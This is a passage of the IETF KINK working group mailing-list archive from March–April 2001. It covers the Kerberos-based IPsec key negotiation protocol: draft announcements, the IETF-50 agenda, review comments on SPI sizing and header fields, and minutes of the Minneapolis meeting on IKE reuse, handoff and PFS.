Mon, 5 Mar 2001 06:31:27 -0800 (PST) Received: from rcn.ihtfp.org (me@ORANGE-TOUR.IHTFP.ORG [204.107.200.33]) by above.proper.com (8.9.3/8.9.3) with ESMTP id GAA27038 for ; Mon, 5 Mar 2001 06:31:25 -0800 (PST) Received: (from warlord@localhost) by rcn.ihtfp.org (8.9.3) id JAA11135; Mon, 5 Mar 2001 09:31:20 -0500 To: ietf-kink@vpnc.org Subject: Re: I-D ACTION:draft-ietf-kink-reqmt-02.txt References: <200103051145.GAA11065@ietf.org> From: Derek Atkins Date: 05 Mar 2001 09:31:20 -0500 In-Reply-To: Internet-Drafts@ietf.org's message of "Mon, 05 Mar 2001 06:45:10 -0500" Message-ID: Lines: 101 X-Mailer: Gnus v5.5/Emacs 20.3 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: As I mentioned last week, the working group has until Friday, March 16 to comment on this draft before I sent it to the IESG. Have a great week. -derek Internet-Drafts@ietf.org writes: > --NextPart > > A New Internet-Draft is available from the on-line Internet-Drafts directories. > This draft is a work item of the Kerberized Internet Negotiation of Keys Working Group of the IETF. > > Title : Kerberized Internet Negotiation of Keys > Author(s) : M. Thomas > Filename : draft-ietf-kink-reqmt-02.txt > Pages : 5 > Date : 02-Mar-01 > > The KINK working group is chartered to create a standards track > protocol to facilitate centralized key management for IPsec security > associations as defined in RFC 2401, as an alternative to IKE (RFC > 2409). Participating systems will use the Kerberos architecture as > defined in RFC 1510 (and its successors) for key management. The goal > of the working group is to produce a streamlined, fast, easily > managed, and cryptographically sound protocol without requiring > public key. > The working group will not require changes to either IPsec (RFC > 2401), or Kerberos (RFC 1510). > > A URL for this Internet-Draft is: > http://www.ietf.org/internet-drafts/draft-ietf-kink-reqmt-02.txt > > Internet-Drafts are also available by anonymous FTP. Login with the username > "anonymous" and a password of your e-mail address. After logging in, > type "cd internet-drafts" and then > "get draft-ietf-kink-reqmt-02.txt". > > A list of Internet-Drafts directories can be found in > http://www.ietf.org/shadow.html > or ftp://ftp.ietf.org/ietf/1shadow-sites.txt > > > Internet-Drafts can also be obtained by e-mail. > > Send a message to: > mailserv@ietf.org. > In the body type: > "FILE /internet-drafts/draft-ietf-kink-reqmt-02.txt". > > NOTE: The mail server at ietf.org can return the document in > MIME-encoded form by using the "mpack" utility. To use this > feature, insert the command "ENCODING mime" before the "FILE" > command. To decode the response(s), you will need "munpack" or > a MIME-compliant mail reader. Different MIME-compliant mail readers > exhibit different behavior, especially when dealing with > "multipart" MIME messages (i.e. documents which have been split > up into multiple messages), so check your local documentation on > how to manipulate these messages. > > > Below is the data which will enable a MIME compliant mail reader > implementation to automatically retrieve the ASCII version of the > Internet-Draft. > > --NextPart > Content-Type: Multipart/Alternative; Boundary="OtherAccess" > > --OtherAccess > Content-Type: Message/External-body; > access-type="mail-server"; > server="mailserv@ietf.org" > > Content-Type: text/plain > Content-ID: <20010302132050.I-D@ietf.org> > > ENCODING mime > FILE /internet-drafts/draft-ietf-kink-reqmt-02.txt > > --OtherAccess > Content-Type: Message/External-body; > name="draft-ietf-kink-reqmt-02.txt"; > site="ftp.ietf.org"; > access-type="anon-ftp"; > directory="internet-drafts" > > Content-Type: text/plain > Content-ID: <20010302132050.I-D@ietf.org> > > --OtherAccess-- > > --NextPart-- > > -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH warlord@MIT.EDU PGP key available From owner-ietf-kink Wed Mar 7 05:37:17 2001 Received: by above.proper.com (8.9.3/8.9.3) id FAA15972 for ietf-kink-bks; Wed, 7 Mar 2001 05:37:17 -0800 (PST) Received: from rcn.ihtfp.org (me@ORANGE-TOUR.IHTFP.ORG [204.107.200.33]) by above.proper.com (8.9.3/8.9.3) with ESMTP id FAA15968 for ; Wed, 7 Mar 2001 05:37:15 -0800 (PST) Received: (from warlord@localhost) by rcn.ihtfp.org (8.9.3) id IAA28530; Wed, 7 Mar 2001 08:37:14 -0500 To: ietf-kink@vpnc.org Subject: AGENDA ITEMS for Minneapolis From: Derek Atkins Date: 07 Mar 2001 08:37:14 -0500 Message-ID: Lines: 37 X-Mailer: Gnus v5.5/Emacs 20.3 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Hi, Please send me your agenda items for Minneapolis. We currently have a two-hour slot for discussion. If I don't receive any items I'll go under the assumption that there is nothing to talk about and cancel the slot so some other deserving group can get the time. Personally, I think there is a lot to discuss (besides finalizing the requirements document): * Protocol directions (IKE or not-IKE) -- this is actually a multi-part question. One question is about what we transfer under the protection of Kerberos (1) and another question is about _how_ we transfer the Kerberos ticket and KINK protocol information (2). 1) Both approaches are based on ISAKMP, so should we or should we not just use the IKE Phase-II Quick-Mode packet arrangements under the protection of Kerberos? 2) Do we transfer the Kerberos and KINK protocol information as an IKE payload, or do we build our own non-IKE KINK protocol? * Wakeup vs. Handoff? * PFS? In the meantime, I want to hear from speakers who want time-slots. -derek -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH warlord@MIT.EDU PGP key available From owner-ietf-kink Fri Mar 9 07:57:13 2001 Received: by above.proper.com (8.9.3/8.9.3) id HAA11731 for ietf-kink-bks; Fri, 9 Mar 2001 07:57:13 -0800 (PST) Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10]) by above.proper.com (8.9.3/8.9.3) with ESMTP id HAA11726 for ; Fri, 9 Mar 2001 07:57:12 -0800 (PST) Received: from mira-sjc5-5.cisco.com (mira-sjc5-5.cisco.com [171.71.163.22]) by sj-msg-core-4.cisco.com (8.9.3/8.9.1) with ESMTP id HAA25171; Fri, 9 Mar 2001 07:56:47 -0800 (PST) Received: from mhur-w2k.cisco.com (sjc-vpn-288.cisco.com [10.21.65.32]) by mira-sjc5-5.cisco.com (Mirapoint) with ESMTP id AAG06233; Fri, 9 Mar 2001 07:56:42 -0800 (PST) Message-Id: <4.3.2.7.2.20010308211704.01ce08a8@mira-sjc5-5.cisco.com> X-Sender: mhur@mira-sjc5-5.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Thu, 08 Mar 2001 21:49:40 -0800 To: Derek Atkins , ietf-kink@vpnc.org From: Matthew Hur Subject: Re: AGENDA ITEMS for Minneapolis In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: I think that the issues that you raise below are a good starting point for discussion. These are all items that should have been discussed on the list, but nobody was driving for resolution. Now that you are driving these issues, it would be good to see them represented in the agenda as discussion items. I assume that you already pinged some of the interested parties (Mike, Tero, Sasha) to see if they wanted to present some the issues you raised, so I'm hopeful that we'll see some response before you have to cancel the slot. My opinion is that it will be worthwhile to meet, get consensus on the issues, address alternatives, and see if we can arrive at criteria to bring some closure by the next IETF meeting. --Matt At 08:37 AM 3/7/2001 -0500, Derek Atkins wrote: >Hi, > >Please send me your agenda items for Minneapolis. We currently have >a two-hour slot for discussion. If I don't receive any items I'll >go under the assumption that there is nothing to talk about and >cancel the slot so some other deserving group can get the time. > >Personally, I think there is a lot to discuss (besides finalizing >the requirements document): > > * Protocol directions (IKE or not-IKE) -- this is actually a > multi-part question. One question is about what we transfer > under the protection of Kerberos (1) and another question is > about _how_ we transfer the Kerberos ticket and KINK > protocol information (2). > > 1) Both approaches are based on ISAKMP, so should we > or should we not just use the IKE Phase-II > Quick-Mode packet arrangements under the protection > of Kerberos? > > 2) Do we transfer the Kerberos and KINK protocol > information as an IKE payload, or do we build our > own non-IKE KINK protocol? > > * Wakeup vs. Handoff? > > * PFS? > >In the meantime, I want to hear from speakers who want time-slots. > >-derek >-- > Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory > Member, MIT Student Information Processing Board (SIPB) > URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH > warlord@MIT.EDU PGP key available From owner-ietf-kink Mon Mar 12 18:18:45 2001 Received: by above.proper.com (8.9.3/8.9.3) id SAA12050 for ietf-kink-bks; Mon, 12 Mar 2001 18:18:45 -0800 (PST) Received: from rcn.ihtfp.org (me@ORANGE-TOUR.IHTFP.ORG [204.107.200.33]) by above.proper.com (8.9.3/8.9.3) with ESMTP id SAA12046 for ; Mon, 12 Mar 2001 18:18:44 -0800 (PST) Received: (from warlord@localhost) by rcn.ihtfp.org (8.9.3) id VAA32151; Mon, 12 Mar 2001 21:18:41 -0500 To: ietf-kink@vpnc.org Subject: Draft Agenda 1.0 for IETF-50 From: Derek Atkins Date: 12 Mar 2001 21:18:41 -0500 Message-ID: Lines: 43 X-Mailer: Gnus v5.5/Emacs 20.3 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Here is the draft agenda. Please email me with any comments or suggestions so I may send the agenda to the IETF secretary. Thanks, -derek KINK-WG IETF-50 Chairs: Derek Atkins Jon Trostle WEDNESDAY, March 21, 2001 1300-1500 Afternoon Sessions I Salon G SEC kink Kerberized Internet Negotiation of Keys WG Agenda: * Agenda Bashing :00-:02 (2 min) * Requirements Last Call :04-:19 (15 mins) draft-ietf-kink-reqmt-02 * Open Issues :20-1:00 (40 mins) IKE v. no-IKE Kerberos Payload Wakeup/Handoff PFS * Protocol Update 1:05-1:35 (30 mins) draft-ietf-kink-kink-00 -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH warlord@MIT.EDU PGP key available From owner-ietf-kink Wed Mar 14 11:03:39 2001 Received: by above.proper.com (8.9.3/8.9.3) id LAA11120 for ietf-kink-bks; Wed, 14 Mar 2001 11:03:39 -0800 (PST) Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by above.proper.com (8.9.3/8.9.3) with ESMTP id LAA11108 for ; Wed, 14 Mar 2001 11:03:35 -0800 (PST) Received: from mira-sjc5-1.cisco.com (mira-sjc5-1.cisco.com [171.71.163.15]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id LAA25901; Wed, 14 Mar 2001 11:02:35 -0800 (PST) Received: from jtrostle-nt2 (jtrostle-dsl3.cisco.com [10.19.59.100]) by mira-sjc5-1.cisco.com (Mirapoint) with SMTP id ACB19879; Wed, 14 Mar 2001 11:02:29 -0800 (PST) Message-Id: <4.1.20010314104422.01795e80@mira-sjc5-1> X-Sender: jtrostle@mira-sjc5-1 X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Date: Wed, 14 Mar 2001 11:06:00 -0800 To: ietf-kink@vpnc.org From: Jonathan Trostle Subject: Minneapolis KINK WG meeting speakers Cc: warlord@mit.edu Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Does anyone else request time to speak at the KINK WG meeting in Minneapolis? Jonathan From owner-ietf-kink Tue Apr 3 13:24:05 2001 Received: by above.proper.com (8.9.3/8.9.3) id NAA02984 for ietf-kink-bks; Tue, 3 Apr 2001 13:24:05 -0700 (PDT) Received: from potassium.cips.nokia.com (Potassium.Network-Alchemy.COM [199.46.17.146]) by above.proper.com (8.9.3/8.9.3) with ESMTP id NAA02978 for ; Tue, 3 Apr 2001 13:24:03 -0700 (PDT) Received: from potassium.cips.nokia.com (localhost [127.0.0.1]) by potassium.cips.nokia.com (8.11.1/8.11.1) with ESMTP id f33KI7x24456 for ; Tue, 3 Apr 2001 13:18:07 -0700 (PDT) (envelope-from dharkins@potassium.cips.nokia.com) Message-Id: <200104032018.f33KI7x24456@potassium.cips.nokia.com> To: ietf-kink@vpnc.org Subject: comments on draft-ietf-kink-kink-00.txt MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-ID: <24453.986329087.1@potassium.cips.nokia.com> Date: Tue, 03 Apr 2001 13:18:07 -0700 From: Dan Harkins Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Hi, I have a couple comments on the kink draft. The verbage from RFC2408 which seems to mandate a covert channel has been copied into this draft. In section 7.4 where it talks about the SPI size it says: "In the case of ISAKMP, the Initiator and Responder cookie pair from the ISAKMP Header is the ISAKMP SPI, therefore, the SPI Size is irrelevant and MAY be from zero (0) to sixteen (16). If the SPI Size is non-zero, the content of the SPI field MUST be ignored." This text should be removed. The SPI size should depend on the protocol and either it MUST be a fixed something or it MUST be nothing. The protocol-id should be better defined as well. What is the protocol id of ISAKMP or TLS for example? And OSPF doesn't define a SPI. I also think it would be better to have kink define itself fully and not depend on another document for payload and/or magic number definitions. Since each payload from RFC2408 that is used in kink is redefined here that shouldn't really be an issue. This would allow the "InnerNextPayload" followed by 24 bits of zeros to go away. Having 32 bits of RESERVED in a 32 bit aligned header seems excessive (figure 13). Dan. From owner-ietf-kink Tue Apr 3 14:32:05 2001 Received: by above.proper.com (8.9.3/8.9.3) id OAA07495 for ietf-kink-bks; Tue, 3 Apr 2001 14:32:05 -0700 (PDT) Received: from sj-msg-core-3.cisco.com (sj-msg-core-3.cisco.com [171.70.157.152]) by above.proper.com (8.9.3/8.9.3) with ESMTP id OAA07491 for ; Tue, 3 Apr 2001 14:32:03 -0700 (PDT) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-3.cisco.com (8.9.3/8.9.1) with ESMTP id OAA08572; Tue, 3 Apr 2001 14:30:15 -0700 (PDT) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id ADL21279; Tue, 3 Apr 2001 14:31:31 -0700 (PDT) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id OAA04967; Tue, 3 Apr 2001 14:31:31 -0700 (PDT) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15050.16691.357222.61942@thomasm-u1.cisco.com> Date: Tue, 3 Apr 2001 14:31:31 -0700 (PDT) To: Dan Harkins Cc: ietf-kink@vpnc.org Subject: comments on draft-ietf-kink-kink-00.txt In-Reply-To: <200104032018.f33KI7x24456@potassium.cips.nokia.com> References: <200104032018.f33KI7x24456@potassium.cips.nokia.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Dan Harkins writes: > Hi, > > I have a couple comments on the kink draft. > > The verbage from RFC2408 which seems to mandate a covert channel has > been copied into this draft. In section 7.4 where it talks about the SPI > size it says: > > "In the case of ISAKMP, the Initiator and Responder cookie pair > from the ISAKMP Header is the ISAKMP SPI, therefore, the > SPI Size is irrelevant and MAY be from zero (0) to sixteen (16). > If the SPI Size is non-zero, the content of the SPI field MUST > be ignored." > > This text should be removed. The SPI size should depend on the protocol > and either it MUST be a fixed something or it MUST be nothing. The > protocol-id should be better defined as well. What is the protocol id > of ISAKMP or TLS for example? And OSPF doesn't define a SPI. I'm not quite groking this, but I can say that a rewrite of this section is underway by Tero to directly lift the pertinent parts of IKE to as you say fully specify the IKE payloads we're using within the KINK draft. I sense that that is not what your issue is... Maybe Tero or somebody else can help here. > I also think it would be better to have kink define itself fully and > not depend on another document for payload and/or magic number definitions. > Since each payload from RFC2408 that is used in kink is redefined here that > shouldn't really be an issue. This would allow the "InnerNextPayload" > followed by 24 bits of zeros to go away. Having 32 bits of RESERVED in a > 32 bit aligned header seems excessive (figure 13). I agree. I've been meaning to make a pass on all of these to clean up these kinds of bogisities and especially watch out for gratuitious bit alignment problems so as to streamline the processing. Mike From owner-ietf-kink Thu Apr 5 23:40:18 2001 Received: (from majordomo@localhost) by above.proper.com (8.9.3/8.9.3) id XAA17741 for ietf-kink-bks; Thu, 5 Apr 2001 23:40:18 -0700 (PDT) Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.43.88]) by above.proper.com (8.9.3/8.9.3) with ESMTP id XAA17729 for ; Thu, 5 Apr 2001 23:40:16 -0700 (PDT) Received: from mira-sjc5-1.cisco.com (mira-sjc5-1.cisco.com [171.71.163.15]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id XAA00641; Thu, 5 Apr 2001 23:39:37 -0700 (PDT) Received: from jtrostle-nt2 (jtrostle-dsl3.cisco.com [10.19.59.100]) by mira-sjc5-1.cisco.com (Mirapoint) with SMTP id ABI02927; Thu, 5 Apr 2001 23:39:12 -0700 (PDT) Message-Id: <4.1.20010405190319.015cb150@mira-sjc5-1> X-Sender: jtrostle@mira-sjc5-1 X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Date: Thu, 05 Apr 2001 22:43:03 -0700 To: ietf-kink@vpnc.org From: Jonathan Trostle Subject: Minneapolis KINK WG minutes Cc: jtrostle@cisco.com, warlord@mit.edu Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Please send any additions or corrections in the next few days. Jonathan 50th IETF KINK WG Minutes: Agenda: Requirements Last Call Protocol Update Open Issues Next Steps REQUIREMENTS LAST CALL: The requirements draft is draft-ietf-kink-reqmt-02.txt. No comments have been received during WG Last Call and the draft will be sent to the IESG shortly. (It may be necessary to update the requirements document to reflect WG consensus on PFS in KINK - see below). PROTOCOL UPDATE: Michael Thomas presented an update on draft-ietf-kink-kink-00.txt. To do items include a security considerations section, and additional protocol work for user-user authentication. For user-user, the case where the initiator obtains a service ticket from the KDC is already part of the specification, and one question is whether either the wakeup or the more DoS resistant version proposed by Derek on the WG mail list should be added to the specification. The latter two serve as a mechanism to allow an initiator to indicate to the responder (which could be a pkinit user device) that the responder should obtain the service ticket and send an AP_REQ to the initiator (see below). Mike is implementing the specification in his spare time. OPEN ISSUES: Derek initiated the discussion on open issues by presenting several protocol questions to the WG. There are currently two KINK protocol drafts: draft-ietf-kink-kink-00.txt and draft-ietf-kink-ike-over-kkmp-00.txt. (1) Should the protocol specification use a complete IKE phase 2 quick mode payloads or use a non-IKE compliant set of ISAKMP payloads? (Note: the first draft in the preceding paragraph takes the second approach whereas the second draft takes the first approach). Several people advocated using the complete IKE phase 2 quick mode due to ease of implementation and deployment. Michael Thomas stated that it is not in our charter to modify IKE and Tero stated that we are not modifying IKE. Tero favors the complete IKE approach to facilitate code reuse. Bill Sommerfeld proposed that we partipate in the son of IKE discussion, and he prefers the complete IKE phase 2 quick mode since it would be less work. Michael Thomas is concerned that there would be too much temptation to have consistent code base with son of IKE and wants a clean break with IKE. Matt Hur concurred and doesn't want to get bogged down with son of IKE. Barbara Fraser stated that son of IKE is not an issue here, and that son of IKE could be limited to bug fixes and cleaning up the specification. Tero believes that we should not wait for son of IKE and that we should copy IKE by value. William Dixon favors the first approach due to the quick mode filtering of his implementation. Overall, the consensus of the WG was in favor of the first approach (use the complete IKE phase 2 quick mode payloads). (2) Encode a new ISAKMP Kerberos payload and include KINK completely within the IKE framework, or ignore ISAKMP/IKE and build our own Kerberos packet. Bill Sommerfeld stated that the second option is not much more work than the first option. The consensus of the WG was to select the second option. (3) Should the KINK protocol allow a handoff option in the user-user authentication case, where handoff is defined as allowing the initiator to communicate to the responder that the responder should obtain a service ticket targetted at the initiator and send a Kerberos AP_REQ to the initator? WG consensus here is that the KINK protocol should include a handoff option. The two possibilities are: (a) wakeup (a single message from the initiator to the responder with the initiator's principal name and realm). (b) the proposal from the WG list discussion (uses 3 messages and adds protection against DoS attacks). There was strong WG consensus in favor of (b). The KINK protocol will include (b) as an option. (4) PFS: Should the KINK protocol (a) ignore PFS, (b) wait for the Kerberos WG to add a PFS capability to Kerberos, or (c) use the IKE phase 2 PFS ? Tero stated if we choose not to use IKE phase 2 PFS, we would need to disallow it in phase 2. Michael Thomas favors leveraging what the Kerberos WG does for PFS. Ken Raeburn: the Kerberos WG has just started to discuss PFS, KINK shouldn't wait for the Kerberos WG. Doug Engert: the Kerberos WG could take this up. Jonathan Trostle: Kerberos needs it anyway. The WG consensus here is that we should not ignore PFS, but also that we should take it from somewhere else as opposed to specifying it ourselves. Michael Thomas: in favor of simplicity, MUST NOT do PFS. Bill Simpson: MAY's cause interoperability problems. Tero: decide if it is a MUST NOT. Michael Thomas: MUST NOT require PFS to be part of KINK. Brian Weis: PFS should be either a MUST or a MUST NOT. Tero: PFS only a MAY in IKE. No AD input on this issue (Marcus Leech was present and we asked him). Further discussion of PFS in KINK will be on the WG email list. Matt Hur asked if the requirements document needs to be updated to reflect the WG consensus on PFS. NEXT STEPS: J. Trostle asked who was planning on implementing the KINK protocol. Seven people raised their hands; it is likely there will be multiple implementations of the KINK protocol. J. Trostle will come up with a new milestone list and dates. Tero and Michael Thomas will work together to create a draft of the KINK protocol that reflects the WG consensus on the questions above. We will target August or earlier for WG last call on the KINK protocol draft. There is an IPSEC interoperability bakeoff starting on August 13th in Helsinki, and it would be good to participate with the KINK protocol. From owner-ietf-kink Fri Apr 6 00:07:48 2001 Received: by above.proper.com (8.9.3/8.9.3) id AAA23386 for ietf-kink-bks; Fri, 6 Apr 2001 00:07:48 -0700 (PDT) Received: from sj-msg-core-3.cisco.com (sj-msg-core-3.cisco.com [171.70.157.152]) by above.proper.com (8.9.3/8.9.3) with ESMTP id AAA23376 for ; Fri, 6 Apr 2001 00:07:46 -0700 (PDT) Received: from mira-sjc5-1.cisco.com (mira-sjc5-1.cisco.com [171.71.163.15]) by sj-msg-core-3.cisco.com (8.9.3/8.9.1) with ESMTP id AAA14331; Fri, 6 Apr 2001 00:04:35 -0700 (PDT) Received: from jtrostle-nt2 (jtrostle-dsl3.cisco.com [10.19.59.100]) by mira-sjc5-1.cisco.com (Mirapoint) with SMTP id ABI03260; Fri, 6 Apr 2001 00:05:51 -0700 (PDT) Message-Id: <4.1.20010405225603.015d6a20@mira-sjc5-1> X-Sender: jtrostle@mira-sjc5-1 X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Date: Thu, 05 Apr 2001 23:09:42 -0700 To: mat@cisco.com From: Jonathan Trostle Subject: Re: comments on draft-ietf-kink-kink-00.txt Cc: jtrostle@cisco.com, ietf-kink@vpnc.org, dharkins@nokia.com In-Reply-To: <4.1.20010405225129.015d3550@mira-sjc5-1> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: >Dan Harkins writes: > > Hi, > > > > I have a couple comments on the kink draft. > > > > The verbage from RFC2408 which seems to mandate a covert channel has > > been copied into this draft. In section 7.4 where it talks about the SPI > > size it says: > > > > "In the case of ISAKMP, the Initiator and Responder cookie pair > > from the ISAKMP Header is the ISAKMP SPI, therefore, the > > SPI Size is irrelevant and MAY be from zero (0) to sixteen (16). > > If the SPI Size is non-zero, the content of the SPI field MUST > > be ignored." > > > > This text should be removed. The SPI size should depend on the protocol > > and either it MUST be a fixed something or it MUST be nothing. The > > protocol-id should be better defined as well. What is the protocol id > > of ISAKMP or TLS for example? And OSPF doesn't define a SPI. > > I'm not quite groking this, but I can say that a > rewrite of this section is underway by Tero to > directly lift the pertinent parts of IKE to as > you say fully specify the IKE payloads we're using > within the KINK draft. I sense that that is not > what your issue is... Maybe Tero or somebody else > can help here. Dan is asking that you specify the SPI size more tightly. If it's not needed, perhaps it should be 0. Don't give an implementation any unnecessary flexibility here. Jonathan > > > > I also think it would be better to have kink define itself fully and > > not depend on another document for payload and/or magic number definitions. > > Since each payload from RFC2408 that is used in kink is redefined here that > > shouldn't really be an issue. This would allow the "InnerNextPayload" > > followed by 24 bits of zeros to go away. Having 32 bits of RESERVED in a > > 32 bit aligned header seems excessive (figure 13). > > I agree. I've been meaning to make a pass on all > of these to clean up these kinds of bogisities and > especially watch out for gratuitious bit alignment > problems so as to streamline the processing. > > Mike > From owner-ietf-kink Fri Apr 13 11:33:10 2001 Received: (from majordomo@localhost) by above.proper.com (8.9.3/8.9.3) id LAA09372 for ietf-kink-bks; Fri, 13 Apr 2001 11:33:10 -0700 (PDT) Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by above.proper.com (8.9.3/8.9.3) with ESMTP id LAA09368 for ; Fri, 13 Apr 2001 11:33:08 -0700 (PDT) Received: from mira-sjc5-1.cisco.com (mira-sjc5-1.cisco.com [171.71.163.15]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id LAA00974; Fri, 13 Apr 2001 11:32:40 -0700 (PDT) Received: from jtrostle-nt2 (jtrostle-dsl3.cisco.com [10.19.59.100]) by mira-sjc5-1.cisco.com (Mirapoint) with SMTP id ABC00458; Fri, 13 Apr 2001 11:29:55 -0700 (PDT) Message-Id: <4.1.20010413104157.01621f00@mira-sjc5-1> X-Sender: jtrostle@mira-sjc5-1 X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Date: Fri, 13 Apr 2001 11:33:54 -0700 To: minutes@ietf.org From: Jonathan Trostle Subject: 50th (Minneapolis) IETF KINK WG minutes Cc: warlord@mit.edu, jtrostle@cisco.com, ietf-kink@vpnc.org Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: 50th IETF KINK WG Minutes: Agenda: Requirements Last Call Protocol Update Open Issues Next Steps REQUIREMENTS LAST CALL: The requirements draft is draft-ietf-kink-reqmt-02.txt. No comments have been received during WG Last Call and the draft will be sent to the IESG shortly. (It may be necessary to update the requirements document to reflect WG consensus on PFS in KINK - see below). PROTOCOL UPDATE: Michael Thomas presented an update on draft-ietf-kink-kink-00.txt. To do items include a security considerations section, and additional protocol work for user-user authentication. For user-user, the case where the initiator obtains a service ticket from the KDC is already part of the specification, and one question is whether either the wakeup or the more DoS resistant version proposed by Derek on the WG mail list should be added to the specification. The latter two serve as a mechanism to allow an initiator to indicate to the responder (which could be a pkinit user device) that the responder should obtain the service ticket and send an AP_REQ to the initiator (see below). Mike is implementing the specification in his spare time. OPEN ISSUES: Derek initiated the discussion on open issues by presenting several protocol questions to the WG. There are currently two KINK protocol drafts: draft-ietf-kink-kink-00.txt and draft-ietf-kink-ike-over-kkmp-00.txt. (1) Should the protocol specification use a complete IKE phase 2 quick mode payloads or use a non-IKE compliant set of ISAKMP payloads? (Note: the first draft in the preceding paragraph takes the second approach whereas the second draft takes the first approach). Several people advocated using the complete IKE phase 2 quick mode due to ease of implementation and deployment. Michael Thomas stated that it is not in our charter to modify IKE and Tero stated that we are not modifying IKE. Tero favors the complete IKE approach to facilitate code reuse. Bill Sommerfeld proposed that we partipate in the son of IKE discussion, and he prefers the complete IKE phase 2 quick mode since it would be less work. Michael Thomas is concerned that there would be too much temptation to have consistent code base with son of IKE and wants a clean break with IKE. Matt Hur concurred and doesn't want to get bogged down with son of IKE. Barbara Fraser stated that son of IKE is not an issue here, and that son of IKE could be limited to bug fixes and cleaning up the specification. Tero believes that we should not wait for son of IKE and that we should copy IKE by value. William Dixon favors the first approach due to the quick mode filtering of his implementation. Overall, the consensus of the WG was in favor of the first approach (use the complete IKE phase 2 quick mode payloads). (2) Encode a new ISAKMP Kerberos payload and include KINK completely within the IKE framework, or ignore ISAKMP/IKE and build our own Kerberos packet. Bill Sommerfeld stated that the second option is not much more work than the first option. The consensus of the WG was to select the second option. (3) Should the KINK protocol allow a handoff option in the user-user authentication case, where handoff is defined as allowing the initiator to communicate to the responder that the responder should obtain a service ticket targetted at the initiator and send a Kerberos AP_REQ to the initator? WG consensus here is that the KINK protocol should include a handoff option. The two possibilities are: (a) wakeup (a single message from the initiator to the responder with the initiator's principal name and realm). (b) the proposal from the WG list discussion (uses 3 messages and adds protection against DoS attacks). There was strong WG consensus in favor of (b). The KINK protocol will include (b) as an option. (4) PFS: Should the KINK protocol (a) ignore PFS, (b) wait for the Kerberos WG to add a PFS capability to Kerberos, or (c) use the IKE phase 2 PFS ? Tero stated if we choose not to use IKE phase 2 PFS, we would need to disallow it in phase 2. Michael Thomas favors leveraging what the Kerberos WG does for PFS. Ken Raeburn: the Kerberos WG has just started to discuss PFS, KINK shouldn't wait for the Kerberos WG. Doug Engert: the Kerberos WG could take this up. Jonathan Trostle: Kerberos needs it anyway. The WG consensus here is that we should not ignore PFS, but also that we should take it from somewhere else as opposed to specifying it ourselves. Michael Thomas: in favor of simplicity, MUST NOT do PFS. Bill Simpson: MAY's cause interoperability problems. Tero: decide if it is a MUST NOT. Michael Thomas: MUST NOT require PFS to be part of KINK. Brian Weis: PFS should be either a MUST or a MUST NOT. Tero: PFS only a MAY in IKE. No AD input on this issue (Marcus Leech was present and we asked him). Further discussion of PFS in KINK will be on the WG email list. Matt Hur asked if the requirements document needs to be updated to reflect the WG consensus on PFS. NEXT STEPS: J. Trostle asked who was planning on implementing the KINK protocol. Seven people raised their hands; it is likely there will be multiple implementations of the KINK protocol. J. Trostle will come up with a new milestone list and dates. Tero and Michael Thomas will work together to create a 